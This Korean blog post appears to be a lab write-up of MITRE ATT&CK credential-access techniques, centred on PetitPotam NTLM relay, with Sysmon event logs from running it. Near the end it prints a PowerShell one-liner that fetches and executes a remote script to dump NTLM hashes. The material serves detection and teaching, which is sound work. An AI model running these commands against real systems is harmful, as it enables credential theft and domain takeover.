Plit00's Story

Mitre ATT&CK 자격증명 획득(Credential Access) 본문

Security/MITRE ATT&CK

Mitre ATT&CK 자격증명 획득(Credential Access)

plit00 2022. 5. 28. 14:40

Atomic Red Team을 이용하여 작성한 글입니다.

Credential Access(자격 증명 인증) : 계정 이름 및 암호와 같은 자격 증명을 훔치는 기술(키 로깅, 덤프)


T1606 Forge Web Credentials

  • Web Cookie : 웹 응용 프로그램이나 인터넷 서비스에 액세스하는데 사용할 수 있는 웹 쿠키 조작 
  • SAML Token
    - 유효한 SAML 토큰 서명 인증서를 소유하고 있는 경우 모든 권한 클레임 및 수명을 사용하여 위조할 수 있다.
    - SAML 토큰의 기본 수명은 1시간이지만 NotOnOrAfter 값에서 유효 기간 지정
    - 위조된 SAML 토큰을 사용하면 공격자가 SAML 2.0을 SSO 메커니즘으로 사용하는 서비스에서 인증 가능[AccessTokenLifetimeLifetimeTokenPolicy]

 

T1212 Exploitation for Credential Access

  • 자격 증명을 수집하기 위해 소프트웨어 취약점을 이용
  • 공격자가 프로그램, 서비스, 운영 체제 소프트웨어 또는 커널자체의 프로그래밍 오류를 이용

T1187 Forced Authenication

  • 가로챌 수 있는 메커니즘을 통해 인증 정보를 자동으로 제공하도록 사용자를 호출하거나 강제하여 자격 증명 자료를 수집
  • SMB 프로토콜은 리소스에 대한 액세스 및 파일 공유를 위한 시스템 간의 인증 및 통신을 위해 Windows 네트워크에서 일반적으로 사용
file[:]//[remote address]/Normal.dotm 문서에는 예를 들어 SMB 요청을 트리거하는 것과 유사한 요청이 포함될 수 있습니다 . 아이콘 파일 이름이 외부 참조를 가리키는 수정된 .LNK 또는 .SCF 파일은  \\[remote address]\\pic.png자격 증명을 반복적으로 수집하기 위해 아이콘이 렌더링될 때 시스템이 리소스를 로드하도록 합니다.

T1187 - 1

  • 인증을 강제로 하기위해 PetitPotam의 Windows 실행 파일 실행
  • 원격 시스템의 MS-EFSRPC 인터페이스에 SMB 요청을 보내고, 강제로 시스템이 인증 절차를 시작한 후 NTLM 인증 해시를 공유
  • MS-EFSRPC(Microsoft Encrypting File System Remote Protocol) APIEfsRpcOpenFileRaw 기능을 악용
  • https://blog.alyac.co.kr/3949

 

 

PetitPotam[CVE-2021-43893]

전형적인 NTLM 릴레이 공격 수행에 사용된다. AD 인증서 서비스(ADCS)를 인증기관 웹 등록 또는 인증서 등록 웹 서비스와 함께 사용하는 경우 이 공격에 잠재적으로 취약하다. 마이크로소프트에서는 인증용 확장 보호(EPA) 또는 SMB 서명 기능을 설정할 것을권장하고 있다.

 

NTLM 릴레이 공격

  • 중간자공격(MitM)의 일종으로 네트워크 접근 권한을 가진 공격자가 네트워크 서비스에 접근하기 위해 클라이언트와 서버 간의 정식 인증 트래픽에 인터셉트하여 유효한 인증 요청을 릴레이하도록 허용
  • 도메인 컨트롤러를 포함한 윈도우 서버가 악성 대상을 인증하도록 만들어, 공격자가 전체 윈도우 도메인을 장악할 수 있다.
  • EfsRpcOpenFileRaw는 원격 저장되고 네트워크를 통해 접근되는 암호화된 데이터에 대해 유지 및 관리 기능을 수행
  • MS-RPRN과 MS-EFSRPC API 모두 기본 값으로 활성화되어 있어, PA(Extended Protection for Authentication) 같은 보호책과 SMB 서명과 같은 서명 기능을 이용하라고 권장

 

원격 시스템에 임의의 파일을 Write 할 수 있는 취약점이다.
Unconstrained Delegation 기능이 활성화된 시스템을 대상으로 한 forced authentication과 원격 arbitrary-file-write가 접목된 취약점으로 PetitPotam이라는 attack chain에 사용되었다.
해당 취약점의 원격 arbitrary-file-write는 2021년 12월에 패치되었지만 forced authentication은 여전히 취약하며 로컬 취약점과 함께 악용한다면 원격 코드 실행이 가능합니다. 해커는 victim windows 컴퓨터에 악성 UNC file path를 포함하는 EfsRpcOpenFileRaw request를 보내는 것으로 victim이 relay attack 서버에 연결해 Net-NTLM 해쉬를 노출할 수 있습니다. \\\\10.0.0.4\\fake_share\\fake_file과 같은 악성 UNC file path가 담긴 EfsRpcOpenFileRaw request를 받은 victim은 10.0.0.4 주소로 연결을 시도하면서 account NTLM 해쉬를 노출하게 됩니다
  • TimeStep

May 18, 2022 @ 22:47:30.042

event.code = 1

CommandLine: "powershell.exe" & {& \""$env:TEMP\PetitPotam.exe\"" 10.0.0.3 10.0.0.2 1 Write-Host \""End of PetitPotam attack\""}

Process : powershell.exe Parent Process : powershell_ise.exe 명령을 실행하는 타임스탭이다.

powershell.exe

 

May 18, 2022 @ 22:47:30.096

event.code = 11

TargetFilename: C:\Users\user_name\AppData\Local\Temp\__PSScriptPolicyTest_4qzhfctu.dnt.ps1 Process : powershell.exe

 

May 18, 2022 @ 22:47:30.155

event.code = 1

CommandLine: "C:\Users\user_name\AppData\Local\Temp\PetitPotam.exe" 10.0.0.3 10.0.0.2 1

ParentCommandLine: "powershell.exe" & {& \""$env:TEMP\PetitPotam.exe\"" 10.0.0.3 10.0.0.2 1 Write-Host \""End of PetitPotam attack\""}

Process : PetitPotam.exe Parent Process : powershell.exe

프티포탬(PetitPotam)으로 도메인 일반 서버인 10.0.0.3 AD 타켓 서버의 10.0.0.2으로 잡아 위에서 언급한
NTLM 릴레이 공격 수행을 한다.

 

May 18, 2022 @ 22:47:30.316

event.code = 1

CommandLine: C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 23296 -ip 23296

ParentCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup

Process : WerFault.exe Parent Process : svchost.exe

 

May 18, 2022 @ 22:47:30.341

event.code = 1

CommandLine: C:\Windows\SysWOW64\WerFault.exe -u -p 23296 -s 228

ParentCommandLine: "C:\Users\user_name\AppData\Local\Temp\PetitPotam.exe" 10.0.0.3 10.0.0.2 1

Process : WerFault.exe Parent Process : PetitPotam.exe

 

May 18, 2022 @ 22:47:30.555

event.code = 11

Process : WehFault.exe

 

May 18, 2022 @ 22:47:30.584

event.code = 5

Process : PetitPotam.exe

 

May 18, 2022 @ 22:47:30.624

event.code = 11

Process : powershell.exe

 

 

* Retrieving NTLM Hashes without Touching

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1’) Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true“

 

 

 

PowerShell을 사용하여 Internal Monologue Attack 기법으로 PowerSharpPack - WinPwn의 기능을 통해 LSASS 기술을
건드리지 않고
NTLM 해시 검색한다.

 

사용한 옵션 값

  • Downgrade true: 이 옵션은 현재의 NTLM 버전을 낮추는 것을 시도합니다.
  • impersonate true: 이 옵션은 인증된 사용자로서 목표 시스템에 대한 임의의 명령을 실행하기 위해 인증 데이터를 사용하여 권한 상승을 시도합니다.
  • restore true: 이 옵션은 작업을 완료한 후 시스템을 이전 상태로 복원하기 위해 필요한 조치를 취합니다.

 

 

 

 

 

 

참고 사이트
https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-unconstrained-kerberos

https://www.triskelelabs.com/the-internal-monologue

https://attack.mitre.org/tactics/TA0006/

 

Comments